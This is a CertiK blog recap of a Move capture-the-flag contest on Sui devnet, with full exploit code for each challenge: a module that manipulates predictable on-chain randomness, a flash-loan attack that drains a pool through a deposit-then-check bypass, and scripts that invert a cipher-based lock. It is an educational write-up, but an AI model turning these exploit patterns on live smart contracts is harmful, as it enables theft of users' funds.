CertiK Logo
CertiK Logo
Products
Company
incident-response
Back to all stories
Blogs
Move Capture the Flag Competition Recap
11/22/2022

Move is a programming language specifically designed for building secure smart contracts that can be formally verified. Recently, Move has brought wide attention along with the rise of multiple Move-compatible blockchain ecosystems such as Aptos and Sui. See our recent blogposts covering an introduction to Move and some lessons learned from our Aptos smart contract audit.

Move Capture the Flag Competition Recap

The recent Move Capture the Flag (CTF) competition hosted on the Sui blockchain devnet gave developers experience working with the Move programming language and a chance to learn the Sui framework from scratch. In this post, we'll go through the different challenges developers were presented with and the solutions to each of the problems.

The contest included four challenges:

  • Challenge 1 - CheckIn
  • Challenge 2 - SimpleGame
  • Challenge 3 - FlashLoan
  • Challenge 4 - MoveLock

Challenge 1 - CheckIn

This is a simple warm-up challenge. You can follow along with the code here. By following the steps below, we can capture the flag by calling the get_flag() function to trigger a Flag event.

Step 1: Click the Get Account button to create a new account.

Step 2: Transfer some currency (at least 0.001 SUI) to the new account to pay for gas. You can get gas from a faucet (e.g. the SUI Faucet on Discord) or just transfer gas from your own account.

Step 3: After the new account receives the gas, click Deploy to deploy the challenge contract using the new account.

Step 4: Read the contract code, try to work out the challenge, and call the get_flag() function to successfully trigger an event.

Step 5: Click the Get Flag button to submit the transaction hash which has triggered the Flag event. Then submit the flag to the CTF platform.

There are multiple ways to invoke the get_flag() function in the deployed module on Sui DevNet:

As an example, we can simply interact with the get_flag function directly:

sui client call --function [function_name] --module [module_name] --package [package_address] --gas-budget 30000

Challenge 2 - SimpleGame

The SimpleGame challenge is a game that allows users to create a Hero, beat boars to level up the hero, beat Boar Kings to get treasury boxes and open the boxes to get the flag. You can find the contract code here.

Analysis

The winning condition for this challenge is to call the get_flag function to trigger a Flag event. The generation of the event depends on the random value d100, as the random value ranges from 0 to 100, which means that there is only a 1% chance of successfully opening the box.

public entry fun get_flag(box: TreasuryBox, ctx: &mut TxContext) { let TreasuryBox { id } = box; object::delete(id); let d100 = random::rand_u64_range(0, 100, ctx); if (d100 == 0) { event::emit(Flag { user: tx_context::sender(ctx), flag: true }); } }

In order to get this box, we need to defeat the Boar King, and there is a random value d100 to determine whether a new box is created when we successfully defeat the Boar King, also with a 1% chance.

public entry fun slay_boar_king(hero: &mut Hero, ctx: &mut TxContext) { assert!(hero::stamina(hero) > 0, EHERO_TIRED); let boar = create_monster<BoarKing>( BOARKING_MIN_HP, BOARKING_MAX_HP, BOARKING_MIN_STRENGTH, BOARKING_MAX_STRENGTH, BOARKING_MIN_DEFENSE, BOARKING_MAX_DEFENSE, ctx ); let fight_result = fight_monster<BoarKing>(hero, &boar); hero::decrease_stamina(hero, 2); // hero takes their licks if (fight_result == 1) { // hero won hero::increase_experience(hero, 2); let d100 = random::rand_u64_range(0, 100, ctx); if (d100 == 0) { let box = inventory::create_treasury_box(ctx); transfer::transfer(box, tx_context::sender(ctx)); }; }; // let the world know about the hero's triumph by emitting an event! event::emit(SlainEvent<BoarKing> { slayer_address: tx_context::sender(ctx), hero: hero::id(hero), boar: object::uid_to_inner(&boar.id), }); let Monster<BoarKing> { id, hp: _, strength: _, defense: _} = boar; object::delete(id); }

As mentioned above, we need to defeat the Boar King first, which depends on hero_strength and hero_defense. A Hero with Level 1 cannot hurt the Boar King because INITIAL_HERO_STRENGTH is equal to BOARKING_MIN_DEFENSE. The hero should level up by hitting the normal boar first. In addition, the number of operations we can do is limited by HERO_STAMINA, which means we cannot try forever.

The initial status of the Hero is shown below:

const INITAL_HERO_HP: u64 = 100; const INITIAL_HERO_STRENGTH: u64 = 10; const INITIAL_HERO_DEFENSE: u64 = 5; const HERO_STAMINA: u64 = 200;

The initial status of the Boar King shown below:

const BOARKING_MIN_HP: u64 = 180; const BOARKING_MAX_HP: u64 = 220; const BOARKING_MIN_STRENGTH: u64 = 20; const BOARKING_MAX_STRENGTH: u64 = 25; const BOARKING_MIN_DEFENSE: u64 = 10; const BOARKING_MAX_DEFENSE: u64 = 15;

How the Randomness Works

As we are limited to two main random values – one for box dropping and the one for event generation, we need to figure out how the random number works. Otherwise, we can only solve this challenge by luck.

Firstly, we look into how the random number is generated, it’s interesting that the seed is based on the TxContext. The seed is a combination of ctx_bytes and uid_bytes.

fun seed(ctx: &mut TxContext): vector<u8> { let ctx_bytes = bcs::to_bytes(ctx); let uid = object::new(ctx); let uid_bytes: vector<u8> = object::uid_to_bytes(&uid); object::delete(uid); let info: vector<u8> = vector::empty<u8>(); vector::append<u8>(&mut info, ctx_bytes); vector::append<u8>(&mut info, uid_bytes); let hash: vector<u8> = hash::sha3_256(info); hash }

As a follow-up, we can study the structure of TxContext, the generation of uid and try to find out if there is a chance to manipulate the seeds. We find the following.

  1. ids_created will increase by one when new_objects invoked

  2. uid is a hash (sha3_256) value derived from ctx.tx_hash and ids_created, and uid will be truncated to 20 bytes (ObjectID::LENGTH)

  3. The uid is calculated with the original ids_created and the updated value for ids_created after the id is created

#[derive(Clone, Debug, Deserialize, Serialize, PartialEq, Eq)] pub struct TxContext { /// Signer/sender of the transaction sender: AccountAddress, /// Digest of the current transaction digest: Vec<u8>, /// The current epoch number epoch: EpochId, /// Number of `ObjectID`'s generated during execution of the current transaction ids_created: u64, }
public fun new(ctx: &mut TxContext): UID { UID { id: ID { bytes: tx_context::new_object(ctx) }, } } public(friend) fun new_object(ctx: &mut TxContext): address { let ids_created = ctx.ids_created; let id = derive_id(*&ctx.tx_hash, ids_created); ctx.ids_created = ids_created + 1; id } /// Native function for deriving an ID via hash(tx_hash || ids_created) native fun derive_id(tx_hash: vector<u8>, ids_created: u64): address; /// Create an ObjectID from `self` and `creation_num`. /// Caller is responsible for ensuring that `creation_num` is fresh pub fn derive_id(&self, creation_num: u64) -> ObjectID { // TODO(https://github.com/MystenLabs/sui/issues/58):audit ID derivation let mut hasher = Sha3_256::default(); hasher.update(self.0); hasher.update(creation_num.to_le_bytes()); let hash = hasher.finalize(); // truncate into an ObjectID. ObjectID::try_from(&hash.as_ref()[0..ObjectID::LENGTH]).unwrap() }

Solution

Based on the analysis above, we propose the following solution:

To manipulate the random value, we produce a custom random module modified from the original one as a helper

  • decode current TxContext, add a custom number on ids_created and generate the mock seed

  • try to get the custom number that allows the mock seed to reach a random value equal to 0

  • manipulate the ids_created in the current TxContext with the custom number we want

To defeat the Boar King:

  • beat the boar via slay_boar and let the hero reach level 2

  • manipulate the random value

  • beat the Boar King via slay_boar_king

To get the flag:

  • manipulate the random value

  • get the flag via get_flag

Solution module:

  1. get_box()

a. Update the hero by slay_boar to ensure the Hero can defeat the King

b. Manipulate the random to ensure that, if we can kill the King, we can get the box

c. The reason we retain four steps random::manipulate(dist-4, ctx) is that there are four new object created inside the slay_boar_king with create_monster()

  1. get_flag()

a. manipulate the random number

b. invoke get_flag()

module challenge_one::solution { use sui::tx_context::{TxContext}; use game::hero::{Self, Hero}; use game::adventure::{slay_boar, slay_boar_king}; use game::inventory::{TreasuryBox, get_flag}; use challenge_one::random; public entry fun get_box(hero: &mut Hero, ctx: &mut TxContext) { while(hero::experience(hero) < 100) { slay_boar(hero, ctx); }; hero::level_up(hero); // manipulate the ctx let dist = random::get_distance(ctx); random::manipulate(dist-4, ctx); slay_boar_king(hero, ctx); } public entry fun open_box(box: TreasuryBox, ctx: &mut TxContext) { let dist = random::get_distance(ctx); random::manipulate(dist, ctx); get_flag(box, ctx); } }

Custom random module:

  1. mock_seed: split the TxContext and add num to the ids_created

  2. get_distance: try to get the distance between the current TxContext and manipulated TxContext with random value 0, return the distance

  3. manipulate: update the TxContext with the distance

module challenge_one::random { use std::hash; use std::vector; use sui::bcs; use sui::object; use sui::tx_context::TxContext; const ERR_HIGH_ARG_GREATER_THAN_LOW_ARG: u64 = 101; fun mock_seed(num: u64, ctx: &mut TxContext): vector<u8> { // split the TxContext let ctx_bytes = bcs::new(bcs::to_bytes(ctx)); let ctx_address = bcs::peel_address(&mut ctx_bytes); let ctx_digest = bcs::peel_vec_u8(&mut ctx_bytes); let ctx_epoch = bcs::peel_u64(&mut ctx_bytes); let ctx_ids_created = bcs::peel_u64(&mut ctx_bytes); let ids_created = ctx_ids_created + num; // create uid let tmp: vector<u8> = vector::empty<u8>(); vector::append<u8>(&mut tmp, ctx_digest); vector::append<u8>(&mut tmp, bcs::to_bytes(&ids_created)); let tmp_uid_full: vector<u8> = hash::sha3_256(tmp); let tmp_uid_trucate: vector<u8> = vector::empty<u8>(); let i = 0; while (i < 20){ let tmp_bytes = vector::borrow<u8>(&tmp_uid_full, i); vector::push_back<u8>(&mut tmp_uid_trucate, *tmp_bytes); i = i + 1; }; assert!(vector::length(&tmp_uid_trucate) == 20, 1); // rebuild ctx_bytes let ctx_bytes_new: vector<u8> = vector::empty<u8>(); vector::append<u8>(&mut ctx_bytes_new, bcs::to_bytes(&ctx_address)); vector::append<u8>(&mut ctx_bytes_new, bcs::to_bytes(&ctx_digest)); vector::append<u8>(&mut ctx_bytes_new, bcs::to_bytes(&ctx_epoch)); vector::append<u8>(&mut ctx_bytes_new, bcs::to_bytes(&ids_created)); // reuse `seed` process let info: vector<u8> = vector::empty<u8>(); vector::append<u8>(&mut info, ctx_bytes_new); vector::append<u8>(&mut info, tmp_uid_trucate); let s = hash::sha3_256(info); s } public fun get_distance(ctx: &mut TxContext): u64 { let i = 0; while(true){ let res = rand_u64_range(0, 100, i, ctx); if(res == 0){ break }; i = i + 1; }; i } public fun manipulate(dist: u64, ctx: &mut TxContext){ // update ctx with the distance let i = dist; while(i > 0){ let id = object::new(ctx); object::delete(id); i = i - 1; }; } fun bytes_to_u64(bytes: vector<u8>): u64 { let value = 0u64; let i = 0u64; while (i < 8) { value = value | ((*vector::borrow(&bytes, i) as u64) << ((8 * (7 - i)) as u8)); i = i + 1; }; return value } /// Generate a random u64 fun rand_u64_with_seed(_seed: vector<u8>): u64 { bytes_to_u64(_seed) } /// Generate a random integer range in [low, high). fun rand_u64_range_with_seed(_seed: vector<u8>, low: u64, high: u64): u64 { assert!(high > low, ERR_HIGH_ARG_GREATER_THAN_LOW_ARG); let value = rand_u64_with_seed(_seed); (value % (high - low)) + low } /// Generate a random integer range in [low, high). public fun rand_u64_range(low: u64, high: u64, num: u64, ctx: &mut TxContext): u64 { rand_u64_range_with_seed(mock_seed(num, ctx), low, high) } }

Challenge 3 - FlashLoan

This challenge is derived from a flash loan contract, which uses the “Hot Potato” design pattern. The Flashloan contract creates a FlashLender resource, which allows users to deposit tokens and withdraw their tokens from FlashLender. Additionally, the loan method allows users to flashloan assets in the FlashLender, which returns a Receipt resource that requires the caller to destroy via check method before the end of the call. The contract code is here.

Background - Hot Potato Pattern

Reference: Hot Potato - Sui Move by Example

Hot Potato is a name for a struct/resource that has no key, store, or drop abilities, meaning it needs to be packed and unpacked in its module. For example, the Receipt struct in this challenge is a Hot Potato:

struct Receipt { flash_lender_id: ID, amount: u64 }

It is worth mentioning that the atomic pattern is ideal for designing a flash loan, which requires the borrower to repay the flash loan in a single transaction.

Analysis

To get the flag, we need to drain all the assets from the pool, which holds 1000 flash loan coins.

// check whether you can get the flag public entry fun get_flag(self: &mut FlashLender, ctx: &mut TxContext) { if (balance::value(&self.to_lend) == 0) { event::emit(Flag { user: tx_context::sender(ctx), flag: true }); } }

The vulnerability lies in a design fault, where the check and repay functions are implemented separately. In this case, as long as the current balance in the pool is more than the balance before borrowing a flash loan, the check invocation will destroy the Receipt struct, thus completing the transaction.

// check the amount in FlashLender is correct public fun check(self: &mut FlashLender, receipt: Receipt) { let Receipt { flash_lender_id, amount: _ } = receipt; assert!(object::id(self) == flash_lender_id, 0); assert!(balance::value(&self.to_lend) >= self.last, 0); }

However, the deposit invocation can also increase the balance of the pool. Therefore, the attacker can use the borrowed assets to “deposit” to the pool and later call withdraw to gain the asset.

Solution

With the above analysis, we can design the following invocation pattern to drain the assets.

  1. Call loan() to borrow 1000 coins along with a Receipt resource, which decreases the value of the to_lend field in the FlashLender.

  2. Call deposit() to deposit the borrowed coins to the FlashLender to increase the to_lend field.

  3. The check() to destroy the Receipt resource will be bypassed as the to_lend field has been increased in the deposit() call.

  4. Finally, we can steal the asset by calling withdraw().

module ctf::solution { use sui::tx_context::{TxContext}; use movectf::flash::{Self, FlashLender}; public entry fun attack(self: &mut FlashLender, ctx: &mut TxContext){ let (loan, receipt) = flash::loan(self, 1000, ctx); flash::deposit(self, loan, ctx); flash::check(self, receipt); flash::withdraw(self, 1000, ctx); flash::get_flag(self, ctx); } }

After deploying the above module, we can capture the flag by calling the attack function:

sui client call --function attack --module solution --package <your_packID> --args <FlashLenderID> --gas-budget 3000

Challenge 4 - MoveLock

The MoveLock challenge requires participants to input two integer lists and a predefined operator of the two input lists results in a preset encrypted flag. The contract code is here.

Analysis

The prerequisite of getting the flag is to set resource_object.q1 to true, which can only happen in the function movectf_unlock().

public entry fun get_flag(resource_object: &ResourceObject, ctx: &mut TxContext) { if (resource_object.q1) { event::emit(Flag { user: tx_context::sender(ctx), flag: true }) } }
public entry fun movectf_unlock(data1 : vector<u64>, data2 : vector<u64>, resource_object: &mut ResourceObject, _ctx: &mut TxContext) { let encrypted_flag : vector<u64> = vector[19, 16, 17, 11, 9, 21, 18, 2, 3, 22, 7, 4, 25, 21, 5, 7, 23, 6, 23, 5, 13, 3, 5, 9, 16, 12, 22, 14, 3, 14, 12, 22, 18, 4, 3, 9, 2, 19, 5, 16, 7, 20, 1, 11, 18, 23, 4, 15, 20, 5, 24, 9, 1, 12, 5, 16, 10, 7, 2, 1, 21, 1, 25, 18, 22, 2, 2, 7, 25, 15, 7, 10]; if (movectf_lock(data1, data2) == encrypted_flag) { if (!resource_object.q1) { resource_object.q1 = true; } } }

In order to set resource_object.q1 to true, we need to provide two u64 vectors so that the function movectf_lock() with these two inputs returns the preset vector encrypted_flag.

The function movectf_lock() does a series of calculations that look similar to matrix multiplications.

fun movectf_lock(data1 : vector<u64>, data2 : vector<u64>) : vector<u64> { let input1 = copy data1; let plaintext = &mut input1; let plaintext_length = vector::length(plaintext); ... let complete_plaintext = vector::empty<u64>(); vector::push_back(&mut complete_plaintext, 4); ... vector::append(&mut complete_plaintext, *plaintext); plaintext_length = plaintext_length + 9; let input2 = copy data2; let key = &mut input2; let a11 = *vector::borrow(key, 0); ... let ciphertext = vector::empty<u64>(); while (i < plaintext_length) { let p11 = *vector::borrow(&mut complete_plaintext, i+0); let p21 = *vector::borrow(&mut complete_plaintext, i+1); let p31 = *vector::borrow(&mut complete_plaintext, i+2); let c11 = ( (a11 * p11) + (a12 * p21) + (a13 * p31) ) % 26; let c21 = ( (a21 * p11) + (a22 * p21) + (a23 * p31) ) % 26; let c31 = ( (a31 * p11) + (a32 * p21) + (a33 * p31) ) % 26; vector::push_back(&mut ciphertext, c11); vector::push_back(&mut ciphertext, c21); vector::push_back(&mut ciphertext, c31); ... }; ciphertext }

In another format: matrices

Therefore, we can write a script to generate two vectors meeting the required condition easily.

Solution

We can use the following Python scripts to generate two input vectors.

Get the key data2:

cp = [[4, 15, 11], [0, 13, 4], [19, 19, 19]] ct = [[19, 11, 18], [16, 9, 2], [17, 21, 3]] solution = [] for i in range(len(cp)): found = False for a in range(0, 100): for b in range(0, 100): for c in range(0, 100): if ( cp[0][0] * a + cp[0][1] * b + cp[0][2] * c) % 26 == ct[i][0] \ and (cp[1][0] * a + cp[1][1] * b + cp[1][2] * c) % 26 == ct[i][1] \ and (cp[2][0] * a + cp[2][1] * b + cp[2][2] * c) % 26 == ct[i][2]: solution.extend([a, b, c]) found = True break if found: break if found: break print(solution)

Decrypt the encrypted_flag to get data1:

results= [[22, 7, 4], [25, 21, 5], [7, 23, 6], [23, 5, 13], [3, 5, 9], [16, 12, 22], [14, 3, 14], [12, 22, 18], [4, 3, 9], [2, 19, 5], [16, 7, 20], [1, 11, 18], [23, 4, 15], [20, 5, 24], [9, 1, 12], [5, 16, 10], [7, 2, 1], [21, 1, 25], [18, 22, 2], [2, 7, 25], [15, 7, 10]] solution = [] for i in range(len(results)): found = False for a in range(0, 100): for b in range(0, 100): for c in range(0, 100): if (25 * a + 11 * b + 6 * c) % 26 == results[i][0] and (10 * a + 13 * b + 25 * c) % 26 == results[i][1] and (12 * a + 19 * b + 2 * c) % 26 == results[i][2]: solution.extend([a, b, c]) found = True break if found: break if found: break print(solution)

After getting the input vectors, we can deploy a new module with the vectors and capture the final flag!

module ctf::test { use sui::tx_context::{TxContext}; use movectf::move_lock::{Self, ResourceObject}; use sui::event; public entry fun attack(self: &mut ResourceObject, ctx: &mut TxContext){ let data1:vector<u64> = vector[2, 14, 13, 6, 17, 0, 19, 20, 11, 0, 19, 8, 14, 13, 18, 24, 14, 20, 12, 0, 13, 0, 6, 4, 3, 19, 14, 1, 17, 4, 0, 10, 19, 7, 4, 7, 8, 11, 11, 2, 8, 15, 7, 4, 17, 7, 0, 2, 10, 19, 7, 4, 7, 0, 2, 10, 24, 15, 11, 0, 13, 4, 19]; let data2:vector<u64> = vector[25, 11, 6, 10, 13, 25, 12, 19, 2]; move_lock::movectf_unlock(data1, data2, self, ctx); move_lock::get_flag(self, ctx); } }